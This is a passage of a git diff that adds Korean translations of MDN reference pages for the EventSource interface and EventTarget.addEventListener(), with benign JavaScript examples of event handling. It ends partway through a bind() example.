+<p><strong>노트</strong>: GitHub 에서 전체 예시를 확인할 수 있습니다 — <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP를 사용하는 간단한 SSE 데모</a>를 보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.EventSource.EventSource")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("EventSource")}}</li>
+</ul>
diff --git a/files/ko/web/api/eventsource/index.html b/files/ko/web/api/eventsource/index.html
new file mode 100644
index 0000000000..9d0df03b5d
--- /dev/null
+++ b/files/ko/web/api/eventsource/index.html
@@ -0,0 +1,121 @@
+---
+title: EventSource
+slug: Web/API/EventSource
+tags:
+ - API
+ - Communications
+ - EventSource
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - Server Sent Events
+ - Server-sent events
+ - TopicStub
+ - messaging
+translation_of: Web/API/EventSource
+---
+<div>{{APIRef("Server Sent Events")}}</div>
+
+<p><span class="seoSummary"><strong><code>EventSource</code></strong> 인터페이스는 <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>에 대한 웹 콘텐츠 인터페이스입니다. <code>EventSource</code> 인스턴스는 <code>text/event-stream</code> 포맷으로 이벤트를 보내는 <a href="/en-US/docs/Web/HTTP">HTTP</a> 서버에 지속적인 연결을 합니다. 연결은</span>{{domxref("EventSource.close()")}}<span class="seoSummary"> 호출로 종료되지 전까지 지속됩니다.</span></p>
+
+<p><span class="seoSummary">연결이 시작되었을 때, 서버로부터 들어오는 메세지들은 이벤트의 형태로 코드에 전달됩니다. 들어온 메시지에 이벤트 필드가 있다면, 트리거된 이벤트는 이벤트 필드의 값과 같게 됩니다. 만약 이벤트 필드가 비어있다면, 그 땐 </span>제네릭 {{event("message")}} 이벤트가 발생됩니다.</p>
+
+<p><a href="/ko/docs/Web/API/WebSockets_API">웹소켓</a>과 다르게, server-sent 이벤트는 단방향입니다. 데이터 메시지가 서버에서 클라이언트로 (유저의 웹 브라우저 같은) 한 방향으로 전달되는 것입니다. 이 특징은 클라이언트에서 서버로 메시지 형태로 데이터를 보낼 필요가 없을 때, server-sent 이벤트를 훌륭한 선택으로 만든다. 예를 들어,  <code>EventSource</code> 는 소셜 미디어 상태 업데이트, 뉴스피드나 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a>나 <a href="/ko/docs/Web/API/Web_Storage_API">web storage</a>같은 <a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">클라이언트-사이드 저장</a> 매커니즘으로 데이터를 전달하는 데 유용한 접근법입니다.</p>
+
+<dl>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("EventSource.EventSource", "EventSource()")}}</dt>
+ <dd>Creates a new <code>EventSource</code> to handle receiving server-sent events from a specified URL, optionally in credentials mode.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventSource.readyState")}} {{readonlyinline}}</dt>
+ <dd>A number representing the state of the connection. Possible values are <code>CONNECTING</code> (<code>0</code>), <code>OPEN</code> (<code>1</code>), or <code>CLOSED</code> (<code>2</code>).</dd>
+ <dt>{{domxref("EventSource.url")}} {{readonlyinline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the URL of the source.</dd>
+ <dt>{{domxref("EventSource.withCredentials")}} {{readonlyinline}}</dt>
+ <dd>A {{domxref("Boolean")}} indicating whether the <code>EventSource</code> object was instantiated with cross-origin (<a href="/en-US/docs/Web/HTTP/CORS">CORS</a>) credentials set (<code>true</code>), or not (<code>false</code>, the default).</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("EventSource.onerror")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} called when an error occurs and the {{event("error")}} event is dispatched on an <code>EventSource</code> object.</dd>
+ <dt>{{domxref("EventSource.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} called when a {{event("message")}} event is received, that is when a message is coming from the source.</dd>
+ <dt>{{domxref("EventSource.onopen")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} called when an {{event("open")}} event is received, that is when the connection was just opened.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>이 인터페이스는 부모인 <em>{{domxref("EventTarget")}}</em>으로부터 메소드를 상속받고 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("EventSource.close()")}}</dt>
+ <dd>Closes the connection, if any, and sets the <code>readyState</code> attribute to <code>CLOSED</code>. If the connection is already closed, the method does nothing.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>이 기초적인 예시에서, <code>EventSource</code>는 서버로 부터 받은 이벤트로 생성되었습니다; <code>"sse.php"</code>라는 이름을 가진 페이지는 이벤트를 생성할 책임이 있습니다.</p>
+
+<pre class="brush: js">var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+ var newElement = document.createElement("li");
+
+ newElement.textContent = "message: " + e.data;
+ eventList.appendChild(newElement);
+}</pre>
+
+<p>각각의 수신한 이벤트는 우리의  <code>EventSource</code> 객체의 <code>onmessage</code> 이벤트 핸들러가 실행되도록 합니다. 차례가 되었을 때, 새로운 {{HTMLElement("li")}} 요소를 생성하고, 메시지 데이터를 안에 작성합니다. 그 때, 문서에 이미 존재하는 ul 요소에 새로운 요소를 추가하게 됩니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a full example on GitHub — see <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.EventSource")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a></li>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a></li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/addeventlistener/index.html b/files/ko/web/api/eventtarget/addeventlistener/index.html
new file mode 100644
index 0000000000..2e824e174b
--- /dev/null
+++ b/files/ko/web/api/eventtarget/addeventlistener/index.html
@@ -0,0 +1,690 @@
+---
+title: EventTarget.addEventListener()
+slug: Web/API/EventTarget/addEventListener
+tags:
+ - API
+ - DOM
+ - Event Handlers
+ - Event Listener
+ - EventTarget
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/API/EventTarget/addEventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><span class="seoSummary">{{domxref("EventTarget")}}의 <code><strong>addEventListener()</strong></code> 메서드는 지정한 이벤트가 대상에 전달될 때마다 호출할 함수를 설정합니다.</span> 일반적인 대상은 {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}지만, {{domxref("XMLHttpRequest")}}와 같이 이벤트를 지원하는 모든 객체를 대상으로 지정할 수 있습니다.</p>
+
+<p><code>addEventListener()</code>는 {{domxref("EventTarget")}}의 주어진 이벤트 유형에, {{domxref("EventListener")}}를 구현한 함수 또는 객체를 이벤트 처리기 목록에 추가해 작동합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>options</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>useCapture</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>useCapture</em>, <em>wantsUntrusted </em>{{Non-standard_inline}}]); // Gecko/Mozilla only</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>반응할 <a href="/ko/docs/Web/Events">이벤트 유형</a>을 나타내는 대소문자 구분 문자열.</dd>
+ <dt><code>listener</code></dt>
+ <dd>지정된 타입의 이벤트가 발생했을 때, 알림({{domxref("Event")}} 인터페이스를 구현하는 객체)을 받는 객체입니다. {{domxref("EventListener")}} 인터페이스 또는 JavaScript <a href="/en-US/docs/JavaScript/Guide/Functions">function</a>를 구현하는 객체여야만 합니다. 콜백 자체에 대한 자세한 내용은 {{anch("The event listener callback")}} 를 참조하세요.</dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>이벤트 리스너에 대한 특성을 지정하는 옵션 객체입니다. 사용 가능한 옵션은 다음과 같습니다 :
+ <ul>
+ <li><code>capture</code>: DOM 트리의 하단에 있는 <code>EventTarget</code> 으로 전송하기 전에, 등록된 <code>listener</code> 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다.</li>
+ <li><code>once</code>: 리스너를 추가한 후 한 번만 호출되어야 함을 나타내는 {{jsxref("Boolean")}}입니다. <code>true</code>이면 호출할 때 <code>listener</code> 가 자동으로 삭제됩니다.</li>
+ <li><code>passive</code>: <code>true</code>일 경우, <code>listener</code>에서 지정한 함수가 {{domxref("Event.preventDefault", "preventDefault()")}}를 호출하지 않음을 나타내는 {{jsxref("Boolean")}}입니다. passive listener 가 <code>preventDefault()</code>를 호출하면 user agent는 콘솔 경고를 생성하는 것 외의 작업은 수행하지 않습니다. 자세한 내용은 {{anch("Improving scrolling performance with passive listeners")}} 를 참조하세요.</li>
+ <li>{{non-standard_inline}} <code>mozSystemGroup</code>: listener를 시스템 그룹에 추가해야함을 나타내는 {{jsxref("Boolean")}} 입니다. 오직 XBL 혹은 파이어폭스 브라우저의 {{glossary("chrome")}}에서 실행되는 코드에서만 사용할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>DOM 트리의 하단에 있는 <code>EventTarget</code> 으로 전송하기 전에, 등록된 <code>listener</code> 로 이 타입의 이벤트의 전송여부를 나타내는 {{jsxref("Boolean")}} 입니다. 트리에서 위쪽으로 버블링되는 이벤트는 캡처를 사용하도록, 지정된 listener를 트리거하지 않습니다. 이벤트 버블링과 캡쳐는 두 요소(엘리먼트)가 해당 이벤트에 대한 핸들(함수)를 등록한 경우, 다른 요소 내에 중첩된 요소에서 발생하는 이벤트를 전파하는 두 가지 방법 입니다. 이벤트 전파 모드는 요소가 이벤트를 수신하는 순서를 판별합니다. 자세한 설명은 <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> 과 <a href="http://www.quirksmode.org/js/events_order.html#link4">JavaScript Event order</a> 를 참조하세요. 값을 지정하지 않으면, <code>useCapture</code> 의 기본값은 <code>false</code> 입니다.</dd>
+ <dd>
+ <div class="note"><strong>참고:</strong> 이벤트 타겟에 연결된 이벤트 리스너의 경우, 이벤트는 캡쳐링과 버블링 단계가 아니라 타겟 단계에 있습니다. 타겟 단계의 이벤트는 <code>useCapture</code> 매개변수(파라미터)와 상관없이, 그들이 등록된 순서대로 요소의 모든 리스너를 트리거합니다.</div>
+
+ <div class="note"><strong>참고:</strong> <code>useCapture</code> 가 항상 선택사항인 것은 아닙니다. 가장 광범위한 브라우저 호환성을 위해 포함시키는 것이 좋습니다.</div>
+ </dd>
+ <dt><code>wantsUntrusted</code> {{Non-standard_inline}}</dt>
+ <dd>파이어폭스(겍코) 명세의 매개변수 입니다. <code>true</code>의 경우, 리스너는 웹 컨텐츠에 의해 dispatch되는 합성 이벤트를 수신합니다. (기본값은 {{glossary("chrome")}} 브라우저의 경우 <code>false</code> , 보통의 웹 페이지에서는 <code>true</code>입니다.) 이 매개 변수는 브라우저 자체 뿐만 아니라, 에드온에게도 유용합니다.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="이벤트_리스너_콜백">이벤트 리스너 콜백</h3>
+
+<p>이벤트 리스너는 콜백 함수로 지정할 수 있습니다. 또는 {{domxref("EventListener.handleEvent", "handleEvent()")}} 메서드가 콜백 함수 역할을 하는 {{domxref("EventListener")}}를 구현하는 객체로 지정할 수 있습니다.</p>
+
+<p>콜백 함수 자체는 <code>handleEvent()</code> 메서드와 동일한 매개 변수와 반환값을 가집니다. 즉, 콜백은 단일 매개 변수를 허용합니다: 발생한 이벤트를 설명하는 {{domxref("Event")}}에 기반한 객체이며, 아무것도 반환하지 않습니다.</p>
+
+<p>예를들어 {{event("fullscreenchange")}} 와 {{event("fullscreenerror")}}를 처리하는데 사용할 수 있는 이벤트 핸들러 콜백은 다음과 같습니다:</p>
+
+<pre class="brush: js">function eventHandler(event) {
+ if (event.type == 'fullscreenchange') {
+ /* handle a full screen toggle */
+ } else /* fullscreenerror */ {
+ /* handle a full screen toggle error */
+ }
+}</pre>
+
+<h3 id="옵션_지원을_안전하게_감지">옵션 지원을 안전하게 감지</h3>
+
+<p>이전 버전의 DOM 명세에선, <code>addEventListener()</code>의 세 번째 매개 변수는 캡쳐의 사용여부를 나타내는 Boolean값 이었습니다. 시간이 지남에 따라 더 많은 옵션이 필요하다는 것이 분명 해졌습니다. 함수에 매개 변수를 추가하는 대신 (옵션값을 처리할 때 엄청나게 복잡한 작업), 세 번째 매개 변수는 다양한 속성을 포함 할 수 있는 객체로 변경되었습니다. 이 객체는 이벤트 리스너를 제거하는 프로세스를 구성하는 옵션값을 정의할 수 있습니다.</p>
+
+<p>지난 버전의 브라우저(뿐만 아니라 너무 오래된 브라우저)에서는 여전히 세 번째 매개 변수가 Boolean 이라고 가정하고 시나리오를 지능적으로 처리할 코드를 작성해야 합니다. 관심있는 각 옵션에 대해 기능 감지를 사용하여 이 작업을 수행할 수 있습니다.</p>
+
+<p>예를들어서, <code>passive</code> 옵션을 확인하려면 다음과 같이 하세요 :</p>
+
+<pre><code>var passiveSupported = false;
+
+try {
+ var options = {
+ get passive() { // This function will be called when the browser
+ // attempts to access the passive property.
+ passiveSupported = true;
+ }
+ };
+
+ window.addEventListener("test", options, options);
+ window.removeEventListener("test", options, options);
+} catch(err) {
+ passiveSupported = false;
+}</code></pre>
+
+<p>이렇게 하면 <code>passive</code> 속성(프로퍼티)에 대한 getter함수를 사용하여 <code>options</code> 객체가 만들어집니다; get을 호출 할 경우 gtter는 플래그 <code>passiveSupported</code>를 <code>true</code>로 설정합니다. 즉, 브라우저가 <code>options</code> 객체의 <code>passive</code> 속성 값을 검사하면 <code>passiveSupported</code>가 <code>true</code>로 설정됩니다; 그렇지 않으면 <code>false</code>가 유지됩니다. 그리고 <code>addEventListener()</code>를 호출하여 가짜 이벤트 핸들러를 설정합니다. 해당 옵션을 지정하여 브라우저가 객체를 세 번째 매개 변수로 인식하면 옵션을 확인합니다. 그런 다음 <code>removeEventListener()</code> 를 호출하여 스스로 정리합니다. (<code>handleEvent()</code>는 호출되지 않은 이벤트 리스너에서는 무시됩니다.) </p>
+
+<p>이 방법으로 지원되는 옵션이 있는지 확인할 수 있습니다. 위와 비슷한 코드를 사용하여 해당 옵션에 대한 getter를 추가하기 만하면됩니다.</p>
+
+<p>그런 다음 문제의 옵션을 사용하는 실제 이벤트 리스너를 만들려면 다음과 같이 쓸 수 있습니다:</p>
+
+<pre class="brush: js">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported
+ ? { passive: true } : false);</pre>
+
+<p>여기에서는 {{event("mouseup")}} 이벤트에 대한 리스너를 <code>someElement</code>요소에 추가합니다.  새 번째 매개변수의 경우 <code>passiveSupported</code>가 <code>true</code>면, <code>options</code> 객체를 <code>passive</code> : <code>true</code> 로 설정합니다; 그렇지 않으면, 우리는 Boolean을 전달해야 함올 알고있습니다. <code>useCapture</code> 매개변수의 값으로 <code>false</code> 를 전달합니다.</p>
+
+<p>원하는 경우 <a href="https://modernizr.com/docs">Modernizr</a> 혹은 <a href="https://github.com/rafrex/detect-it">Detect It</a> 과 같은 서드파티 라이브러리를 사용하여 이러한 테스트를 수행할 수 있습니다.</p>
+
+<p><a href="https://wicg.github.io/admin/charter.html">Web Incubator Community Group</a>의 <code><a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a></code>에 대한 기사에서 더 많은 것을 배울 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_리스너_추가">간단한 리스너 추가</h3>
+
+<p>이 예제는 <code>addEventListener()</code> 를 사용하여 요소에 대한 마우스 클릭을 감지하는 방법을 보여줍니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+ &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">// Function to change the content of t2
+function modifyText() {
+ var t2 = document.getElementById("t2");
+ if (t2.firstChild.nodeValue == "three") {
+ t2.firstChild.nodeValue = "two";
+ } else {
+ t2.firstChild.nodeValue = "three";
+ }
+}
+
+// add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", modifyText, false);
+</pre>
+
+<p>이 코드에서, <code>modifyText()</code> 는 <code>addEventListener()</code>를 사용하여 등록된 <code>click</code> 이벤트에 대한 리스너입니다. 테이블의 아무곳이나 클릭하더라도, 핸들러에서 버블링되고 <code>modifyText()</code> 가 실행됩니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('간단한_리스너_추가')}}</p>
+
+<h3 id="익명_함수와_이벤트_리스너">익명 함수와 이벤트 리스너</h3>
+
+<p>여기서는 익명 함수를 사용하여 매개 변수를 이벤트 리스너에 전달하는 방법을 살펴보겠습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+ &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">// Function to change the content of t2
+function modifyText(new_text) {
+ var t2 = document.getElementById("t2");
+ t2.firstChild.nodeValue = new_text;
+}
+
+// Function to add event listener to table
+var el = document.getElementById("outside");
+el.addEventListener("click", function(){modifyText("four")}, false);
+</pre>
+
+<p>리스너는 코드를 캡슐화 하는 익명 함수입니다. 이 익명의 함수는 실제로 이벤트에 응답하는 책임이 있는 <code>modifyText()</code> 함수에 매개변수를 전달 할 수 있습니다.</p>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('익명_함수와_이벤트_리스너')}}</p>
+
+<h3 id="화살표_함수와_이벤트_리스너">화살표 함수와 이벤트 리스너</h3>
+
+<p>이 예제는 화살표 함수를 사용하여 구현된 간단한 이벤트 리스너를 보여줍니다. </p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;table id="outside"&gt;
+ &lt;tr&gt;&lt;td id="t1"&gt;one&lt;/td&gt;&lt;/tr&gt;
+ &lt;tr&gt;&lt;td id="t2"&gt;two&lt;/td&gt;&lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">// Function to change the content of t2
+function modifyText(new_text) {
+ var t2 = document.getElementById("t2");
+ t2.firstChild.nodeValue = new_text;
+}
+
+// Add event listener to table with an arrow function
+var el = document.getElementById("outside");
+el.addEventListener("click", () =&gt; { modifyText("four"); }, false);
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('화살표_함수와_이벤트_리스너')}}</p>
+
+<p>화살표 함수와 익명 함수는 유사하지만 서로 다른 <code>this</code>바인딩을 가집니다. 익명(모든 전통적인 자바스크립트 함수)는 그들 자신의 <code>this</code> 바인딩을 만들지만, 화살표 함수는 포함하고 있는 함수의 <code>this</code>바인딩을 상속합니다.</p>
+
+<p>즉, 화살표 함수를 사용할 때 포함하고 있는 함수에서 사용중인 변수 및 상수를 이벤트 핸들러에서 사용할 수 있습니다.</p>
+
+<h3 id="옵션의_사용_예제">옵션의 사용 예제</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+    outer, once &amp; none-once
+    &lt;div class="middle" target="_blank"&gt;
+        middle, capture &amp; none-capture
+        &lt;a class="inner1" href="https://www.mozilla.org" target="_blank"&gt;
+            inner1, passive &amp; preventDefault(which is not allowed)
+        &lt;/a&gt;
+        &lt;a class="inner2" href="https://developer.mozilla.org/" target="_blank"&gt;
+            inner2, none-passive &amp; preventDefault(not open new page)
+        &lt;/a&gt;
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">    .outer, .middle, .inner1, .inner2 {
+        display:block;
+        width:520px;
+        padding:15px;
+        margin:15px;
+        text-decoration:none;
+    }
+    .outer{
+        border:1px solid red;
+        color:red;
+    }
+    .middle{
+        border:1px solid green;
+        color:green;
+        width:460px;
+    }
+    .inner1, .inner2{
+        border:1px solid purple;
+        color:purple;
+        width:400px;
+    }
+</pre>
+
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<pre class="brush: js">    let outer  = document.getElementsByClassName('outer') [0];
+    let middle = document.getElementsByClassName('middle')[0];
+    let inner1 = document.getElementsByClassName('inner1')[0];
+    let inner2 = document.getElementsByClassName('inner2')[0];
+
+    let capture = {
+        capture : true
+    };
+    let noneCapture = {
+        capture : false
+    };
+    let once = {
+        once : true
+    };
+    let noneOnce = {
+        once : false
+    };
+    let passive = {
+        passive : true
+    };
+    let nonePassive = {
+        passive : false
+    };
+
+
+    outer.addEventListener('click', onceHandler, once);
+    outer.addEventListener('click', noneOnceHandler, noneOnce);
+    middle.addEventListener('click', captureHandler, capture);
+    middle.addEventListener('click', noneCaptureHandler, noneCapture);
+    inner1.addEventListener('click', passiveHandler, passive);
+    inner2.addEventListener('click', nonePassiveHandler, nonePassive);
+
+    function onceHandler(event)
+    {
+        alert('outer, once');
+    }
+    function noneOnceHandler(event)
+    {
+        alert('outer, none-once, default');
+    }
+    function captureHandler(event)
+    {
+        //event.stopImmediatePropagation();
+        alert('middle, capture');
+    }
+    function noneCaptureHandler(event)
+    {
+        alert('middle, none-capture, default');
+    }
+    function passiveHandler(event)
+    {
+        // Unable to preventDefault inside passive event listener invocation.
+        event.preventDefault();
+        alert('inner1, passive, open new page');
+    }
+    function nonePassiveHandler(event)
+    {
+        event.preventDefault();
+        //event.stopPropagation();
+        alert('inner2, none-passive, default, not open new page');
+    }
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>옵션이 어떻게 작동하는지 보려면 각각 outer, middle, inner 컨테이너를 클릭해 보세요.</p>
+
+<p>{{ EmbedLiveSample('옵션의_사용_예제', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}</p>
+
+<p><code>options</code> 객체에서 특정 값을 사용하기 전에, 모든 브라우저의 모든 버전이 지원하는 것은 아니므로, 사용자의 브라우저가 해당 기능을 지원하는지 확인하는 것이 좋습니다. 자세한 내용은 {{anch("Safely detecting option support")}} 을 참조하세요.</p>
+
+<h2 id="Other_notes">Other notes</h2>
+
+<h3 id="왜_addEventListener를_사용하나요">왜 <code>addEventListener</code>를 사용하나요?</h3>
+
+<p><code>addEventListener()</code> 는 W3C 에서 지정한 DOM에 이벤트 리스너를 등록하는 방법입니다. 장점은 다음과 같습니다:</p>
+
+<ul>
+ <li>이벤트에 대해 하나 이상의 핸들러를 추가할 수 있습니다. 이는 {{Glossary("AJAX")}} 라이브러리, 자바스크립트 모듈, 또는 다른 라이브러리/확장 기능과 잘 작동해야 하는 다른 종류의 코드에 특히 유용합니다. </li>
+ <li>리스너가 활성화 되면 (캡쳐링과 버블링) 단계의 세밀한 제어를 제공합니다.</li>
+ <li>HTML 요소뿐만 아니라, 모든 DOM 요소에서 작동합니다.</li>
+</ul>
+
+<p>대안으로, <a href="#Older_way_to_register_event_listeners">이벤트 리스너를 등록하는 오래된 방법</a>은 아래에 설명되어 있습니다.</p>
+
+<h3 id="이벤트_전달중에_리스너_추가">이벤트 전달중에 리스너 추가</h3>
+
+<p>{{domxref("EventListener")}} 가 이벤트 처리중에 {{domxref("EventTarget")}}에 추가되었다면, 그 이벤트는 리스너를 트리거하지 않습니다. 그러나 동일한 리스너는 버블링 단계와 같은 이벤트 흐름의 나중 단계에서 트리거 될 수 있습니다. </p>
+
+<h3 id="다수의_동일한_이벤트_리스너">다수의 동일한 이벤트 리스너</h3>
+
+<p>만약 동일한 여러개의 <code>EventListener</code> 가 동일한 매개변수(parameter)로 동일한 <code>EventTarget</code> 에 등록되었다면, 중복된 항목(인스턴스)들은 버려집니다. <code>EventListener</code>는 두번 호출되지 않으며 {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} 메서드를 사용해 직접 제거할 필요가 없습니다. 그러나 익명 함수를 핸들러로 사용할 때, 루프를 도는 경우가 있습니다. 이 경우 단순히 반복적으로 호출하는 동일한 소스 코드를 사용하여 이벤트를 등록하더라도, 익명 함수는 동일하지 않고 이 때문에 리스너 또한 동일하지 않습니다. 이와 같은 경우 동일한 함수를 반복적으로 정의하는 것이 더 문제가 될 수 있습니다. (아래의 <a href="https://developer.mozilla.org/ko/docs/Web/API/EventTarget/addEventListener$edit#Memory_issues">메모리 문제</a>를 참조하세요.)</p>
+
+<h3 id="핸들러_내부의_this_값">핸들러 내부의 <code>this</code> 값</h3>
+
+<p>유사한 요소 집합에 대한 일반적인 핸들러를 사용할 때와 같이, 이벤트 핸들러가 동작한 엘리먼트를 참조하는것이 좋습니다.</p>
+
+<p><code>addEventListener()</code> 를 사용하여 핸들러 함수를 요소에 연결하면, 핸들러 내부의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> 값은 요소에 대한 참조입니다. 이것은 핸들러에 전달 된 이벤트 인수(아규먼트)의 <code>currentTarget</code> 속성(프로퍼티)값과 같습니다.</p>
+
+<pre class="brush: js">my_element.addEventListener('click', function (e) {
+ console.log(this.className) // logs the className of my_element
+ console.log(e.currentTarget === this) // logs `true`
+})
+</pre>
+
+<p>다시 말해, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#No_separate_this">화살표 함수에는 <code>this</code> 컨텍스트가 없습니다</a>.</p>
+
+<pre class="brush: js">my_element.addEventListener('click', (e) =&gt; {
+ console.log(this.className) // WARNING: `this` is not `my_element`
+ console.log(e.currentTarget === this) // logs `false`
+})</pre>
+
+<p>HTML 소스의 요소(element)에 이벤트 핸들러(예: onclick)가 지정된 경우, 속성 값(attribute value)의 자바스크립트 코드는 효과적으로 <code>addEventListener()</code> 에 따라  <code>this</code>값을 바인드하는 핸들러 함수로 래핑됩니다. 코드 내에서 <code>this</code>가 발생하면 요소에 대한 참조를 나타냅니다.</p>
+
+<pre class="brush: html">&lt;table id="my_table" onclick="console.log(this.id);"&gt;&lt;!-- `this` refers to the table; logs 'my_table' --&gt;
+ ...
+&lt;/table&gt;
+</pre>
+
+<p>속성 값(attribute value)의 코드에 의해 호출 된 함수 내부의 <code>this</code> 는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">표준 규칙들</a>에 따라 동작합니다. 다음은 그 예입니다.</p>
+
+<pre class="brush: html">&lt;script&gt;
+ function logID() { console.log(this.id); }
+&lt;/script&gt;
+&lt;table id="my_table" onclick="logID();"&gt;&lt;!-- when called, `this` will refer to the global object --&gt;
+ ...
+&lt;/table&gt;
+
+</pre>
+
+<p><code>logID()</code> 내의 <code>this</code> 값은 {{domxref("Window")}} 전역 객체에 대한 참조입니다. (혹은 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> 의 경우 <code>undefined</code>입니다.)</p>
+
+<h4 id="bind()를_사용하여_this지정하기"><code>bind()</code>를 사용하여 <code>this</code>지정하기</h4>
+
+<p><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> 메서드를 사용하면 지정한 함수에 대한 모든 호출에 대해 <code>this</code> 값으로 사용해야 하는 값을 지정할 수 있습니다. 이를 이용하여 함수가 호출 된 컨텍스트에 따라 <code>this</code> 가 무엇인지 명확하지 않은 문제를 쉽게 우회할 수 있습니다. 그러나 나중에 제거할 수 있도록, 주위에 리스너에 대한 참조를 유지해야 합니다.</p>
+
+<p>다음은 <code>bind()</code> 를 사용한, 사용하지 않은 예제입니다 :</p>
+
+<pre class="brush: js">var Something = function(element) {
+ // |this| is a newly created object
+ this.name = 'Something Good';
+ this.onclick1 = function(event) {
+ console.log(this.name); // undefined, as |this| is the element
+ };
